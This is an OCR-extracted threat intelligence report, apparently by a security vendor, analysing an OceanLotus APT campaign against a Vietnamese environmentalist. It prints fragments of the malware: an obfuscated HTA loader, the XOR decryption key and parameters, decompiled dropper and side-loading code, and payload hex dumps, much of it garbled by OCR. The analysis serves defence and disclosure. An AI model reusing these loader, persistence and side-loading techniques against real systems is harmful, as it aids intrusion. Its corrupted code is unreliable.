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The OceanLotus, an APT group said to have a Vietnamese background, was first exposed and named by SkyEye
Labs (the predecessor of the RedDrip team of QiAnXin Threat Intelligence Center) in May 2015. Its attack
activities can be traced back to April 2012 with initial targets including Chinese maritime institutions, maritime
construction, scientific research institutes and shipping enterprises. Their targets expanded to almost all important

organizations afterwards and related activities are still active now.

The RedDrip Team (@RedDrip7) keeps a close eye on activities made by OceanLotus. Last month we released an
in-depth analysis report: OceanLotus’ Attacks to Indochinese Peninsula: Evolution of Targets, Techniques and
Procedure. Currently we capture another attack incident targeting a Vietnamese environmentalist with new

malware payload and hope the revealed details could lead to more findings in the future.

Bait Analysis

The bait sample is a zip archive in Vietnamese: Thong tin vé chuyén dé méi truong_Nhd anh Dang Vii Lugng tw

van thém.zip

From the contents of the compressed package, the three pictures named in Vietnamese meaning "illustration"
respectively show that there is garbage in the rivers in Vietnam, the factories are exhausting smoke everywhere,
and the stinking ditch is all garbage. All these pictures make people feel disgusting. At the same time, it shows the

importance of mandatory waste classification.

> Thang tin v& chuyén d& moi truéng_Nhd anh Dang Vi Ludng tu van thém v & | #E"Thong tin v& chuyén d... .

Minh hoa 1,jpeg Minh Hoa 2.jpeg Minh hoa 3.jpeg

Thumbs.db Van nan moi truong Viet Nam hien
nay va giai phap khac phuc hau
qua_Phuang huong trong thoi gian
toi .hta

In addition to the picture, the main attack sample is an hta script named as Van nan moi truong Viet Nam hien nay

va giai phap khac phuc hau qua_Phuong huong trong thoi gian toi.

It can be seen that both the bait name from the compressed package and the bait name as the attack sample are

consistent with the scene of attacking the person in charge of the environmental protection organization.
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Therefore, we will characterize this attack as: Oceanlotus attacked the head of an environmental protection

organization in Vietnam.

Sample Analysis

Execution process of the sample used by OceanLotus this time is roughly as follows:
1. The hta sample decrypts and loads subsequent additional data.

2. Utilize DLL Side-Loading to take advantage of adobe reader to load the payload and then connects to the
C2.

Payload Analysis

The hta script has been obfuscated and will replace ",", ".", " " with "+", "/", "=" first:

Checric =
Quus =
Fhongxuc = Dongiuc

T —— Sy

Figure 2.1 The confused hta script

The script is generated by using the cactusTorch framework
(https://github.com/mdsecactivebreach/CACTUSTORCH), which first decrypts the Loader module, then decrypts

the attached data through the Loader module, and finally executes the decrypted shellcode in memory:

204 Set DotWhanZamCemChum  =QUAnggHut (  "WScript.Shell™)

205 DotWhanZamCemChum.RegRead "HKLM\SOFTWARE\Microsoft\.NETFramework\"+ Hang + "\"
206 | iF ERR.nuMber <> @ ThEN exIT FUnCTIOn

207
208
209

218

211 sEt TitChod = DotWhanZamCemChum.Environment  ("Process™ )

212 TitChod (  “COMPLUS Version™ ) = Hang

213

214 SEt Did  =qUARGGhuT ( Ded )

215 Set QuusQuanghungQuangQuing = QuaNgGHUt(  “System.Collections.Arraylist™ )

216 QuusQuangWungQuangQuing.Add Did.SurrogateSelector

217

218

219 SosNoc = CasQuemYicSew ( GhedXemQuacGhim)

220 sEt QuusYiw = Did.Deserialize_2 (NingGhac ( SosMoc,LicFungMoc- 57489 ,Ghang -51313 , SisPupHupheng )
221 sET  WinShusWenTun = QuusYiw.DynamicInvoke (QuusQuanghungQuangQuing.ToArray ( ) ).Createlnstance
222 Ghew = WinShuskenTu ( 1632689155 ,, 194 , 1292962 )

223 wINDow.close

224 D0 wHilE ( tRUE)

225 looP

226 enD FfunCtION

Figure 2.2 Loading Loader in Memory
The parameters passed to the Loader's "X" function are as follows:
WinShusWenTun.X ( 1632689155 ,31529,194,1292962 )

The meaning of each parameter is as follows:
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Name Value Description

Parameter 163268915
4-byte key, just use the first 3 bytes (0x03, Oxdc, 0x50)

1 0x6150DC03)

Parameter 31509 The position at the end of the script, which points to the
2 appended data.

Parameter

3 194 The length of the name of the released docx file
Parameter

4 1292962 Size of the appended data

The second parameter is the beginning of the appended data:

HUU414312 | ¥h Yh ¥d dU ZU 20 e 20 ZU 20 22 4A 4 YY 41 41 uus B "l BwAA
00031328 |41 41 6F 4A 42 77 41 41 41 41 6B 54 41 41 41 41  ARoJBwARARKTARRA
00031344 |43 52 45 41 41 41 41 4B 43 77 20 20 22 20 20 0D CREARAAKCwW °
00031360 |OA 20 20 20 4D 69 70 53 68 75 6D 50 65 74 42 61 . MipShumPetBa
00031376 |70 57 68 61 77 20 20 20 20 22 76 34 2E 30 2E 33 pwhow  "v4.0.3
00031392 |30 33 31 39 22 2C 20 44 6F BE 67 58 75 74 20 20 0319", DongXut
00031408 |20 20 43 68 65 74 46 69 74 20 20 2C 36 38 37 38 ,ChetFit ,GE78
00031424 |35 20 2C 35 39 37 38 35 20 20 2C 20 20 36 20 20 5 ,59785 ., 6
00031440 |20 OD OA 20 4D 69 70 53 66 75 60 50 65 74 42 61 .. MipShumPetBa
00031456 |70 57 68 61 77 20 20 20 22 76 32 2E 30 2E 35 30 pwhew "v2.0.50
00031472 |37 32 37 22 20 20 20 20 44 GF 6E 67 58 75 74 2C 727", DongXut,
00031488 |20 20 51 75 75 73 20 2C 20 20 36 38 37 32 35 2C | Quus , 68725,
00031504 | 20 35 39 37 33 38 20 20 2C 32 30 20 OD OA& 3C 2F 59738 .20 ..<¢/
00031520 |73 63 72 69 70 74 3E OD OA 36 2E 33 41 45 4E 79 script>.|6.3AENy |
00031536 |75 2E 53 4B 75 48 33 66 66 6A 4C 5A 55 66 73 4D u.SEuH3fhjLZUfsM |
00031552 | 4E 4F 49 64 4C 68 69 32 51 50 35 42 6B 55 39 45 NOIALhi2QPSBKUSE |
00031568 |45 76 42 74 6C 56 6D 6D 64 33 73 4E 38 68 6E 63 EvBtlVmmd3sHShne
00031584 48 59 79 77 34 54 47 55 6D 44 59 7A 31 51 64 6E HYyw4TOUmDYz1Qdn y
00031600 |6F 4F OD OA 34 4F 53 6B 44 42 49 64 42 68 4D 37 o0..408kDBIABLM7
DD031616 |54 45 49 45 6F 61 36 58 71 6F SA SA 66 2C 76 61 TEIEnaGXqoZZf,va (in
00031632 | 2C 30 31 54 78 49 41 77 54 SA 6F 70 76 61 76 33 ,01TxIAwTZopvav3
00031648 | 6F 56 57 67 74 S5A 31 30 46 2C 53 75 4A& 78 46 70 oVWgzZ10F,SuJxFp
00031664 |69 58 4D 44 63 50 71 44 64 7A 6B 43 68 46 78 75 iXMDcPgDdzkChFxu
00031680 |39 30 63 74 76 30 45 61 37 55 6A 49 36 77 69 62 90czvDEa7Ujléwib
00031696 | 4C 73 69 59 72 46 77 59 4C 30 2C 62 62 4D 6B 49 Lsi¥rFw¥YLO,bkMkI
00031712 |37 34 31 49 36 34 6C 62 66 77 35 62 66 77 55 54  7411641bfwShiwlT
00031728 |49 39 77 62 72 4D 30 SA 76 4A 64 44 74 SA 30 41 [9wbrMOZvJdDtZOA
00031744 |39 78 51 41 39 78 51 41 31 32 55 33 59 4F 56 70 9x0AJxQA12U3YOVp
00031760 (6D 78 63 78 6E G6E 67 44 78 6E 31 73 39 43 63 33 mxcxangDxnlsdCc3
00031776 |75 6& 63 78 33 6E 67 44 77 4A GF 4C G4 OD DA 43 uhcx3ngDwlold..C
00031792 |46 70 6D 78 63 33 65 52 4B 44 30 50 31 73 39 43 Fpmzc3eRKDOP1s9C
00031808 |63 33 76 39 63 79 33 6E 67 44 78 6E 31 73 74 41 c3vicyIngDznlsth
00031824 |51 70 6D 78 63 7A 77 46 G6A 44 78 72 31 73 39 43 QpmzezwFjDzrlsac
00031840 | 4F 4F 38 64 63 34 6E 6E 67 44 77 4A 6F 48 4E 43 008dc4nngDwIoHNC
00031856 | SA& 70 6D 78 63 33 65 52 37 44 78 6A 31 73 39 43 Zpmzc3eR7DxjlsaC
00031872 | 4F 4F 2E 46 63 78 33 6E 67 44 34 34 35 59 4C 53 00.Fcx3ngD445YLS
00031888 |56 70 6D 78 63 41 39 78 51 41 39 78 51 41 39 78 VpmzcA9z0AIx0ATx
00031904 |51 41 39 78 51 41 39 78 51 41 7A 48 51 36 68 50 QAOxQAIzQAzHOERD

Figure 2.3 Append data behind the hta file

Loader Analysis

The decrypted Loader module is named L.dll. The function of the dll is mainly to decrypt and load the appended
data behind the hta:
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Figure 2.4 Some functions of Loader

The X function is mainly to encrypt and load the shellcode; the decoding algorithm is base64 and then performs

XOR decryption with the key in single byte, and the key is passed by the parameter:

Figure 2.5 X function of L.dll

The key here is 1632689155 (0x6150DCO03). From the algorithm, only the first 3 bytes (0x03, 0xdc, 0x50) are
used in while performing XOR decryption:

Figure 2.6 L.dll decryption function
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Then the decrypted data is executed in memory:

rum
{rom

rumt-;

. Lero, roum, -

D it

iptr, i, blil):

eption)

Figure 2.7 function B of L.dll

The function of the shellcode executed by Loader is mainly to release the file and achieve persistence. As can be

seen from the code features, OceanLotus often uses the shellcode to perform attacks.

5egeRe:ea139a2E lea esp, [esp-4]
seghae: ea139832 pushf

s5egeRe:ea139a33 push eCx

segBas : ea139634 shl ecx, 3
seglde:ea139637 push ebx

seghde: ea13983a inc bh

seglas:aa13983A or ecx, ecx
segBe:ea139a3C shl cx, &

segldd: ea130646 push eax

seghes.eal39e84l aaa

seghde:ea139642 push edx

segepe:ee139843 cwd

segPde: ea139645 cwd

segeee:eal3oe4y mow eax,
seghas:ea139a84C mov ecx,
5egB@e:ea139a51 mul eCx

segBae: ea139653 neg al

s5eg@ee:ea139a55 bswap  ebx

seglae : ea139as7 mov ax, ; "L
segPde : ea139658 maov cx, N
seghde : ea13985F mul ox

seglas:eal39862 stc

segeBe:ee139863 sahf

segpdd:eal30664 push ecx

segBad:ea139865 chw

seglde: ea139867 bswap edx

5egepe:ea139869 inc edx

segldd: ea139864 or dh, dl
5eg000:0813986C cdg

seglae: ea139660 mov edx, [esp+lCh+var_ 18]
5eg000:08139871 das

segBae:ea139672 mov bx, cx
s5egeee:ea139a75s mav ebx, [esp+lCh+var_1@]
segBae : ea139879 mov ecx, [esp+lCh+var (]
seglas:aal30a7D aas

seghde : eal3987E mov eax, [esp+lCh+var 8]
seghdd:ea139682 push eax

seghde : ea139883 popf

segPdd:ea130684 mov eax, [esp+lCh+var_14]
segBd:ea139888 lea esp, [esp+18h]
segidd: ea13968C mov [esp+d+var_4], ebp
segepe:ea139a8F mav ebp, esp
segpde:ea139691 sub esp, 7E8h
5eg000:08139897 mav eax, fs:dword_3e
segedd: ea139690 push ebx

Figure 2.8 Shellcode frequently used by OceanLotus
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After shellcode is loaded in memory, it will load the dll file in memory after execution.

1791 _asm { aam }
1792 302 = v78;

783 = ~(_oRD)v783

1795 readeflags();
1796

1797 an }

1798

1799 BX + 1

1800 7) = (LEAX >> 31)  exBS;

1801 _BitScanForward((unsigned int *)& EAX, v387);

1808 _asm { aad }
1809 WrTER AT

id (_stdcall *)(signed int, int, char *, signed int))(vao
+ *((_DWORD *)fun_RtlMoveMenmory + *((unsigned __int16 *)v8e7 + v382)));

49, &v799, v30E);

Figure 2.9 Loading DIl into memory by shellcode

Subsequently released files are stored in the resource, and the PE file to be released is extracted from the resource

data through RtlDecompressBuffer:

8 w@ = GetModuleHandleW(L"ntdll.d11");

9 if ( lve )

18 return @;

11 if ( !&fun_RtlGetCompressionWorkSpaceSize )

12 return @;

13 fun_RtlGetCompressionWorkSpaceSize = @;

14| w2 = GetProcAddress(ve, "RtlGetCompressionWorkSpaceSize™};
15| if ( vz )

16 return @;

17| fun_RtlGetCompressionWorkSpaceSize = (int)vZ;
18 if ( !'&fun_RtlCompressBuffer )

19 return @;

28| fun_RtlCompressBuffer = @;

21 v3 = GetProcAddress(ve, "RtlCompressBuffer™);

220 if ( w3 )

23 return 8;

24 fun_RtlCompressBuffer = (int)v3;

25 if ( !&fun_RtlDecompressBuffer )

26 return 8;

27 fun_RtlDecompressBuffer = @;

28| w4 = GetProcAddress(ve, "RtlDecompressBuffer™);

29| if ( lva )

38 return @;

31| fun_RtlDecompressBuffer = (int (_ stdcall *)(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD))v4;
32| return 1;

Figure 2.10 Get the address of the decompression API

The resource names are 0x65 and 0x66. As shown in the figure, if the 0x65 resource does not exist, it will get

0x66 resource instead.

G CoInitialize(@);

18 LOBYTE(v4) = sub_8B4D98();
11| if ( {_BYTE)ud )

12| {

13 V5 = (HMODULE)off_8C3FAG;
14/ if ( off_8C3FA@ )

16 va = @;
(signed int "')Fun_GetResDur:eDat%(QJ«wgu, (LPCWSTR)@x65, (HMODULE)off_BC3FA@, (LPCWSTR)@x320, (int)&va);

signed int ")fun_GetRESDur(EDat%(Bxﬂ!@Qu, (LPCWSTR)BX66, 5, (LPCWSTR)Bx328, (int)&E);

25 if

{
27 if (vB )
28 LOBYTE(v4) = sub_8B1B18(v6, vo, (int)vd, vi);
30 3
31 ¥
32 }

}
34) return (char)va;

Figure 2.11 Obtaining resource data

Page 6 of 16



https://ti.gianxin.com /blog/articles/english-version-of-new-approaches-utilized-by-oceanLotus-to-target-viethamese-environmentalist /

The obtained resource data is as follows, including the file name, file size, and compressed data:

Figure 2.12 Raw data in the resource

Then get the exe and dll file names in system32, Program File and Windows directory, insert them into the array,
then randomly generate a random number, randomly select a file in the array, get the file name and file description

of the file as the name of the dropped exe file and related folder name respectively:

= a;

sub_8B271e(L"*.exe", & , 9, 1, & .dwLowDateTime);// Get the exe name in the system32 directory

sub_8B2718(L"*.d11", & .8, 1, & .dwLowDateTime);// Get the dll name in the system32 directory
ingsW(L"¥ProgramFiles%¥", & s Bx104u);
4 |if ( !PathFileExis &

73 |ExpandEnvironmentS

Istrepyw(& , &Buffer);
2;
73 PathAppendw(& » L"Program Files");
lstrcpyh(&::Stringl, & 'H

H
.dwLowDateTime = 8;
.dwHighDateTime = 2;

83 = 8;

54§ LOBYTE(VE7) = 1;

55 | sub_sB271e(e, & , 1,0, & .dwLowDateTime);// Get the file name in the program files directory
sub_8B271@(@, &Buffer, 1, 8, & -dwLowDateTime);// Get the file name in the Windows directory

_ ml23i *)&vle, @, @x206u);

281 *)& » @, @x206u);
eAttributes = @;
i .ftCreationTime, 8, @x24Cu);

, & ;

FindNextFilew(v7, & 1)

= .dwFileAttributes & @xle;
if ( (=7 8 == &8 || 8% = 8x18) &% .cFileName[8] != *."' ) ime) / 28));

37 {
38 Lstrepyn(8 L 520
PathAppendi(&) s .cFileName);
48 LOWORD{v12) = 8;
11 -7
42 = a;
43 sub_8B3228( (unsigned int)& , &12, weslen(& )5
44 - a;
45 sub_8B3808((unsigned int)&v12, a5);
47 i ( >=8 )
48 sub_8B511B( A
}

}

if ( I= (void *)-1)
53 = FindClose(v7);
54 return 3

551

Figure 2.13 Get the file name of the specified directory
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If rasman.dll is randomly selected, it will get the file description as the name of the folder where the malicious

code was released. Here is the Create Remote Access Connection Manger folder for placing malicious code.

. rasman.dll BiE
ErEEE - e

Bt 1=

~L 1A Bemote Access Conmection Manager
Eakil FREFTE

WiEMRE 6. 1. TROD. 16385

Fﬁ%ﬁ Microsoft® Windows® Operating System
PEmMEE 6. 1.TE00. 18335

ety & Microsoft Corporation. ALl righ...
Foi] 75.0 BB

fEpEER 20097714 9:16

= HiE EE)

FHHTHFE Rasnan dl1

(e J[ BE || @AW

Figure 2.14 File description of rasman.dll

If the File Description field of the selected file is empty, this will use the default folder name "NLS_000001":
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1bool _ usercall fun_Dropper{<al>(WCHAR *alfi<edx>, FILETIME *a2@<ecx>, int a3, int a4, LPCWSTR pMore, LPWSTR pszPath)

3| signed int ve; // =bx

4| int v7; // eax

5| WCHAR *v9; // [esp+l8h] [ebp-98h]
6 int v1e; // [es |.+_—h] [ebp-34h]
7
8

FILETIME *vl1l; h] [ebp-8Ch]
WCHAR Strmgz, 26h] [ebp-88h]
9| char vi3; // [esp+22h] [ebp-86h]

).
16| if ( PathFileExistsi(pszPath) )

{
18 Pathappehdil(pszPath, L™NLS_");
V6 = 13

23 sub_8B1@ee((const char *)L"%@61u", 1);
24/ 1strcatW(pszPath, &String2);

25 while ( PathFileExistsW(pszPath) )

26 {

27 B

28 Sleep(lu);

29 pszPath[vle] = @;

38 sub_8B1@e8((const char *)L"¥@61u", vE);
31 1strcatW{pszPath, &String2);

32 1

33

34, return sub_8B4358(a3, w11, ps:Path, a4, v3) != @;
35}

Figure 2.15 handling the case when the field is empty

In the following 2 folders ("Program Files", "%appdata%"), it creates a subdirectory (the name is a randomly
selected "file description" content). If there is no permission to create a directory under "Program Files", it will be
under %appdata%":

127 E‘athStripPath'u.'(&p'-':’e)j

123| PathRemoveExtensionW(&pMore);
129 lstr‘cp,u(&t_\_, &::5tringl);

138 = v28:

131 1f { fun_Dropper(&ptore, v2@, v21, a4, &pszPath, &Dst) )
132) {

133 D=t = 8;

134| [ ExpandEnvirenmentStringsk(L"¥appdata%”, &0st, @x1@du); |
135 if ( !'fun_Dropper(&ptore, vid, v21, a4, &pszPath, &Dst) )

136 {

137 if { v24 >= 8 )

138 sub_8B511B((void *)1lpString2);
139 V23 = 8;

148 vid = 7;

141 LOWORD(1pString2) = @;

142 sub BB227@(&lastAccessTime);
143 sub_8B227@(&LastWriteTime);
144 return 8;

145 }

146 }

Figure 2.16 Creating a subdirectory

Then release the 10 files decrypted in the resource to the newly created directory; in our case the released
directory name is: "C:Program FilesRemote Access Connection Manager", which is based on the description of

the file randomly selected.
The name of the exe file is the name of the randomly selected file.

Rasman.db3 is the shellcode to be loaded.
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[C:\Program Files\Remote Access Connection Manager]

IRBEF - nE - FEws=

E=1d F
=) ACEIl 11,441 KB
%] aGM.dll 11,441 KB
AR % Bl 11,441 KB
%] CoolType.dll 11,441 KB
|| Microsoft.VCB0.CRT.manifest 1KB
% Msvepo.dil 11,441 KB
%) MSVCRE0.dII 11,441 KB
|| rasman.db3 910 KB
rasman.exe 245 KB
%

Figure 2.17 Released file
Then it will be written into the registry run item to achieve persistence.

At the same time, an empty docx file will be created under temp folder and then opened, so that the victim thinks

that it is a docx file:

Thong tin chi tiet nhung san pham can dat hang qua shop zero waste_Bao gia chi tiet san pham.docx

[ Thong tin chi fiet nhung san pham can dat hang qua shop zero waste_Bao gia chi tiet san pham.docx 2019/6/17 18:14__ Microsoft Word 0KB

Figure 2.18 The created docx file

English translation of the file name: The details information about products need order shop zero waste details

price list
Dropper Analysis

The released rasman.exe is a legitimate file: Adobe 3D Utility:
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r = 5
% rasman.exe Bt u

T | BEH | HFEEE | Hedlw
e | HRIER | BT g
B ]

$5ER

Adobe 30 Util: 1‘_}'
#eHl LR
WikEE 10001
Fﬁ:-’gﬁ fdobe Acrobat

ERkdE 1001

[SEN (el Adobe Swystems Ime. A1l right. ..
Foin 245 EE

SR ERE 2010/11/21 5029

= g GEED

[Ei&5T {4 A3TULILE ty. exe

L@z || BE || BRAW

Figure 3.1 Version information of rasman.exe

Rasman.exe will load dlls in the same directory by default, including AGM.dIl, BIB.dll, CoolType.dll and
ACE.dIl, which could lead to DLL Side-Loading:

TER SH= SIAE i

text MSVCRE0.dII [

rdata CoolType.dll B

.data AGM.dIl

JISrC ACE.dIl

reloc BIB.dll
PsAPLOLL

Figure 3.2 Import table information of rasman.exe
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The code of the 4 dlls is the same, is the hijacked dll, will be loaded by rasman.exe program by default. Although
4 dlls have the opportunity to execute dllmain, the only dll that loads the next stage payload is CoolType.dll

because the attacker designed a flag variable to control whether the next stage payload needs to be loaded:

MD5 File Name Size flag Comment
Loader filled with useless
9ca638aeb4ce87936b1a993ef8e285fa ACE.dll 11441Kb  0x8F q
ata
Loader filled with useless
0a9d3ffff6083a015ab72117cba84fe0 AGM.dIl 11441Kb  0x8F dat
ata
Loader filled with useless
840c754098c473faff6fd22ddb8163b7 BIB.dll 11441Kb  0x6D q
ata
Shellcode file with random
a8ff3e6abe26c4ce72267154cab604ce3 rasman.db3 910Kb
name
Legitimate executable with
e84927bc7edbef6af8daf8640d95325e rasman.exe 246Kb

random name

Loader filled with useless
d7¢72d9394dc6e519dbce21830eb37cb  CoolType.dll 11441Kb  0x27
data, load shellcode

Library functions
£5220efbe14b98ac06bc2cadef5c0f23 MSVCP80.dll  11441Kb
populated with useless data

Library functions
321c4d24da35f39c4ab145b6cfc4dal9 MSVCR80.dll  11441Kb
populated with useless data

The code at the entrance of AGM.dIl indicates the two if judgments will not enter, because the value of flag is

0x8f, which is greater than the first two judgments, so the subsequent payload will not be loaded:

9HNRAPUASITSbICFYxlpaBVinacixq iAS4HQOFThItR ", &String2);

VMixGW47EX17¢BO3Tr

ITShICF Y1 paBVMACIXGiABHQOFThIEN" )

rIA((LPCSTR)" VibeGua7tX17cBI3 ITSbICF iVxpaBUwac jxqiAGAHQOFThItN", "@");

text *UTF-16LE", *1',8

db * eRNXCSBAChVATNSXr iVHXGW4T

NRAOUAIITSbICF1YxX1paBVaC]x”

db 'qiAISHOOFThIN',8
Fh

Figure 3.3 DIIMain function of AGM.dll
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The code of the CoolType.dll code is 0x27, which is less than 0x46, so it will enter the first if condition and

execute fun_LoadExportFun:

15 if ( "eMqdSbhUVCPiyxXannGxSVPCTa2haDIRMaz i vCDEr i€ S6AAXYqZbMASKapATVDAL cnasQi 12z INGZY" )

‘a2haDIRMazivC 42 pa 3ilzzIMGEY", "0%);

Ta2haDIRMazivCDtri P jilzzIMGZY" )

.rd

TalhaD]R'hziv[DtersE--’\AXVqu.‘l—’.QK-pAWhAt( .

db ‘nasgjilzzliczy’,e
#—-» flag < 0

va = result 4 112;
dword_18B29ECA = (int)CoolType 4 B;
if (v1)

AF (1 <= oxdp ) dm—
dw 1AEh
fun, _LoadexportFun((int)(result + 112), 3, w23 d o
- db &
1pstmngz = ( PCUSTI )a [v3 + 4]; // {4AB4DESE- dw 0
return . dw @
35 } dw ©
36 if (V1 <= ex6d dw &
37 1 ¢ } dw @ Junk code
esult + 22); dw &
(_DWORD *)result ¥ dw @
dw @
6, OxAu, 8x4@u, &710ldProt dw @
4 dw @
-112; g

dw ©
KHCbHrsPRERKGH db mmca\EﬁmszsrﬂﬁmmE@n[Kq[hena1m*»\p[waigl,imflaxpxiﬁu@JFAcﬁl
db vEHIA waali)iTiBgeitcz Bxifcec B raBkE
db asn@mmsnaﬁ@nmm[ummnwmmp 0

do

Mutex

2 db 8
3 a4aB4adBSemBIcal:
3 text "UTF-16LE", '{4AB4DBSE ARIC-4172-8696-(6FSDBSSBICB)_',0

) =2
= 8dword_10829ECO;

ult = Bud[v3 + 4];
1pString2 = (LPCWSTR)&VA[VS + 4);
Figure 3.4 DIIMain function of CoolType.dll

The function of fun_LoadExportFun is mainly to cover large code at the entrance of exe, loop into the garbage
code appearing in the configuration, the size is 0x20610 bytes, then add the code 0xff, 0x15 at the end, and finally
connect the address of the export function of AGM_5, only In order to finally execute the code that loads the
shellcode:

8| TloldProtect = @;
g if ( !'VirtualProtect(a2, a3, @x40u, &flOldProtect) )
18 return 8;
11 w7 = 8;
12| if ( a3 )
13
14 do
15 {
16 vE = vi++ ¥ al;
17 v7 - 1] = *(_BYTE *}{v8 + a4);
13
19
28
21| va = )
22 if (! )
23 v -= 8
24| *( BYTE *)v9 = a6 != @ ? @xCCu : @x96u;
)
)
)

7 < a3 });

25 Bx98u ;
26 @xFFu;
27 = Bx15;
28 F &addr_AGM 5 8;
29 return 1:
38}

Figure 3.5 fun_LoadExportFun

When the program returns to the exe process space, it will jump back to the code range covered by
fun_LoadExportFun to continue running, and finally execute the AGM_5 function, mainly to avoid being traced

back to the execution flow:
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Offset 01 2 3 4 5 8 7 g 9 10 11 12 13 14 15 s
00000000 4B 40 48 93 F8 43 42 91 48 92 4B 48 52 53 90 92  E@eHIgCE H EHRS.”
00000016 40 S50 48 54 92 SA F8 40 40 52 SE 4B 51 SB 57 42 | @PHT " Ze@ER [KQ [WB
0o0ono3z 48 42 4A 48 91 48 SA 41 S0 SB 56 4B 42 F9 82 F9  HEJHHZAP [VKEQ "h
0onono4s 49 48 49 91 59 FB 52 58 50 4B 91 40 59 4B 80 F9  IHI “YeRXPE'GYE.ld
ooooooe4 4A 92 43 43 F9 4A 4B 42 93 92 4A 43 48 4B 53 F8 J CCuJKEBI~JCHESa
00000080 43 43 55 40 48 49 41 FS F8 57 41 41 582 54 44 80  CCY@HIAUeWAATZJ.
00000086 43 93 4B 40 40 92 52 43 SA 92 51 58 F9 41 43 40 CIK@@ RCZ "QXuAC@
oonono1lz 43 49 50 49 91 91 FB 5B 91 40 41 53 48 58 48 91  CIPI “a[ “@ASHXH"
oooon1lzs 468 56 40 40 F9 91 40 F9 41 54 48 42 43 FG 44 4B HV@@h "@uAZHBCaJE
0o0000144  4A 50 41 91 49 4B 91 59 44 F8 43 42 92 F9 90 F9 | JPA IR YJeCB a.l
00000160 48 FB 48 48 93 41 90 48 41 40 53 45 51 42 40 49  IeHHIA.HAGSH E@I
0onon1l7e 58 52 FB 92 49 91 FB 4A 93 40 80 92 90 F9 59 49 XRe'I aJl@. .a¥YI
0ooonisz 92 57 42 4k 41 5B 43 49 54 90 892 40 48 5B 52 93 "WBJA[CIT. @H[RI
00000208 4B 43 90 58 58 S5A 59 4B 40 48 93 F8 43 42 91 458  EC.XXZYEEHIe2CE H
oooonzz4 92 4B 48 52 53 90 92 40 S0 45 54 52 SA F§ 40 40 "EHRS. "@PHT "Zel@
oooonz40 52 5B 4B 51 5B 57 42 48 42 4A 48 51 48 SA 41 50 R[KQ[WBHBJH HZAP
48 49 91 59 F8 52 58 50  [VEBu aIHI“YaRXP
43 43 59 40 48 49 41 F9 | 1" JCHKSeCCYEHIADL
43 53 qF A0 a0 e bl ey, 50 M USH COdES
00132544 5A 92 51 58 F9 41 43 40 43 49 50 49 91 91 F8 5B Z70GAC@CIPI “a|
00132560 91 40 41 53 48 58 48 91 48 56 40 40 F9 91 40 F9 “@ASHXH HYV@@H “ @i
00132576 41 SA 48 42 43 F8 4A 4B 44 50 41 91 49 4B 91 59  AZHECeJEJPA IEY
00132592 4A FB 43 42 92 F8 90 FS 49 F3 45 45 53 41 90 48  JeCB h.ulsHHIA.H
00132608 41 40 53 48 91 42 40 49 58 52 FB 92 49 91 F8 4A  AESH'BEIXRe "I aJ
00132624 92 57 42 4A 41 90 90 FF | 1@.” .0¥YI "WBJA. .if
00132640

0013000716167 92 ~° 77 T[WNgchg~ eax, edx  ~~ ~~ "~ "7 77 77
o 1 A | 57 edi
anig Yeuzieta 42 inc eds
00421618 | BA dec edx
0013 spuzisic| | 81 inc [
0013 90421610 | 90 nop
0842161
oo Fr1s covccioz |

nop
F15 COYEC102 | call  dword ptr [2C19ECE]
w0 Gb-GU- oL OU

00132752 ou 00 0o o oo U Oy uu

Figure 3.6 A lot of padding code

When AGM_5 is executed, it first hides all the child windows of the process, then reads the file with the suffix of

db3 (here rasman.db3) with the same file name in the same directory, and finally performs execution:

- e;
Name, lpstring2);
e[ Lstrleni(Name)];

5+ 48965 1 B @xFFF; ++i )

“ - e
dword_SD4F96B! H
alalloc(®, i, @x1008u, @xdfu);

if (
:

ame = @;
(&3, @, 9x206u);
GetModuleFileNamek(,
PathRenameExtensio
fun_Loadshe11code(
for ( result = lstrl
Sleep(@x1388u);
return re

rSingleObjectEx(v7, @xFFFFFFFF, 0);
eHandle(va);

¥
if (v1)
52| virtualFree(vi, dwSize, @x4606u);

Figure 3.7 Loading shellcode for rasman.db3

The loaded shellcode is a variant of the Denis family used by OceanLotus:
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Of fset o1 2 3 4 5 6 7 g 910 11 12 13 14 15 -
oooooooo | Ed 81 0A DE OO FE FE FE  FE 7C 60 68 45 77 77 D3 q....pppp|‘hawO
00000016 30 A4 90 D8 84 92 1D AE BS SD 71 56 CZ 26 6C 2ZF  <#.017.BulqVAsl~
00000032  F8 84 DD 3D Cf EO DD 19 B9 E9 B7 A6 78 CD 06 OF wlV=Fav.iél!xl..
00000048 DE S5C 2D 81 6D 91 10 91 76 C2 71 FB 51 CB 03 S5A& k>-.m”. vAgaQE.Z
00000064 D9 97 SB FC 83 56 CB 6F  2A DC 16 85 E6 44 41 DE Ul [iillVEo*]. 1=J20
gooooooso 0B 21 07 93 e0 AR 44 BZ BC 25 8B 8B FA 1C 54 B3 1.1 «D24x0Ia.T?
oooooo26  E6 DF Be EO E4 3B 4C 0A 1D 66 6F 18 DE 58 E1 6C «RfMas:L..fo.EBXAl
00000112 45 E1 3A FA E9 1D C6 EE 8D 58 AF CF 10 30 B4 12 Ea:ué.&i.X 1.0°.
00000128 79 4D 1C 93 97 35 45 9C 7E 18 BA C6 EE SA CC 56  vM.IISEI™.2&iZIv
00000144 61 FC 2B 07 CO5 BF BB F5 CA E9 SA AS IF 1F 9B 76  aii+.Ai»BEezE. . Iv
ooooole0  EC ED 49 F4 79 79 05 D7 3B 94 4D 75 D8 7C F7 08 iildyy.x;1Mud|=.
00000176 06 BF 94 DS CO0 60 31 9C 65 45 DB 24 94 93 61 67 2104 11eE0=*11ay
00000192 74 E0 82 11 DS C2 OE IF BA 0OE 00 B4 09 CD 21 B8 tal.@h..o.. .11,
00000208 01 4C CD 21 54 68 69 73 20 70 72 6F 67 72 61 6D .LIIThis program
00o0ozZz24 20 63 61 BE BE BF 74 20 62 65 20 72 75 BE 20 69 cannct be run i
000oo0Z40  6E 20 44 4F 53 20 6D BF 64 65 ZE 0D OD 0A 24 00 n DOS mode....S.
ooooozs6 OO0 0O OO 00 OO OO Fe 4F A7 E3 BZ 2E C9 BO B2 2ZE ...... 00§z .Eo 2,
00000272 (9 BO B2 2E C9 BO BE 56 4A BO B3 2E (9 BO DD 58 E°2.E°»WJ®% E°YX
00nNonz8s A2 BO BY 2E 9 BO A9 B3I 57 BO A7 2E C9 BO A9 B3 b°- .E°@3W°§.E°®°
00000304 63 BO CF 2E C9 BO BB 56 5SA BO BF 2E C9 BO B2 2E  ¢°I.E*»VZ®é.E°2.
00000320 C8 BO 2C 2E C9 BO A9 B3 62 BO E2 ZE CY BO A9 B3 E°, .E°@%h°a.E°@®°
